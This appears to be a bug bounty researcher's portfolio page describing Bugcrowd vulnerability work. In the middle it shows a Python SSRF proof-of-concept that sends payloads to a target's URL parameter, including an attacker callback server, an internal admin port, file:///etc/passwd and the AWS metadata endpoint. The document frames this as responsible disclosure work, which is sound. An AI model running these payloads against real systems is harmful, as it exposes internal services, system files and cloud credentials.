As an active participant in Bugcrowd's bug bounty programs, I discover and report security vulnerabilities in enterprise applications and infrastructure. My focus spans across various vulnerability types, including authentication bypasses, injection flaws, server-side request forgery (SSRF), and business logic errors. Each submission includes comprehensive documentation with detailed steps to reproduce, impact assessment, and recommended fixes. Through these contributions, I help organizations proactively identify and address security issues before they can be exploited.
Identification of high-impact security flaws including authentication bypasses, remote code execution, and server-side request forgery vulnerabilities.
Detailed reports with clear reproduction steps, impact analysis, and relevant technical context to facilitate understanding and remediation.
Creation of non-destructive proof-of-concept demonstrations that clearly illustrate vulnerability impact without causing harm to systems.
Collaborative assistance with security teams to develop and validate effective fixes, including follow-up testing to confirm vulnerability resolution.
My approach to vulnerability discovery on Bugcrowd includes both manual testing and custom-built automation tools tailored to specific target types. For web applications, I focus on identifying security issues beyond what automated scanners can detect, such as complex race conditions, chained exploitation scenarios, and business logic flaws. My methodology incorporates threat modeling to prioritize testing efforts on critical components and high-risk functionality, ensuring efficient use of time and maximum security impact.
# SSRF Vulnerability Proof-of-Concept
import requests
import sys
def demonstrate_ssrf(target_url, callback_server):
"""Demonstrate Server-Side Request Forgery vulnerability."""
print(f"[*] Testing SSRF vulnerability on {target_url}")
# Payload that triggers internal network access
ssrf_payloads = [
f"http://{callback_server}/ssrf-confirmed", # Direct callback
f"http://127.0.0.1:8080/admin", # Internal service access
f"file:///etc/passwd", # Local file access
f"http://169.254.169.254/latest/meta-data/" # AWS metadata endpoint
]
for payload in ssrf_payloads:
print(f"[*] Trying payload: {payload}")
# Construct the vulnerable request
# (This will vary based on the specific vulnerability)
params = {
"url": payload, # Vulnerable parameter
"action": "fetch_data"
}
try:
# Send the request to the vulnerable endpoint
response = requests.get(
target_url,
params=params,
headers={
"User-Agent": "SSRF-PoC/1.0",
"Accept": "*/*"
},
timeout=10
)
print(f"[+] Response status: {response.status_code}")
print(f"[+] Response length: {len(response.text)}")
# Check if the response contains indicators of successful SSRF
if "ssrf-confirmed" in response.text or "meta-data" in response.text or "root:" in response.text:
print("[!] VULNERABLE: Server-Side Request Forgery confirmed")
return True
except Exception as e:
print(f"[!] Error: {str(e)}")
print("[-] No SSRF vulnerability confirmed with tested payloads")
return False
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python ssrf_poc.py <target_url> <callback_server>")
sys.exit(1)
demonstrate_ssrf(sys.argv[1], sys.argv[2])
My contributions to Bugcrowd programs have resulted in the identification and remediation of critical security vulnerabilities in enterprise systems used by millions of users worldwide. By discovering these vulnerabilities through ethical hacking practices, I've helped prevent potential data breaches, financial losses, and reputational damage to the affected organizations. The detailed reports I provide not only facilitate quick fixes but also help development teams understand the root causes of vulnerabilities and implement more secure coding practices.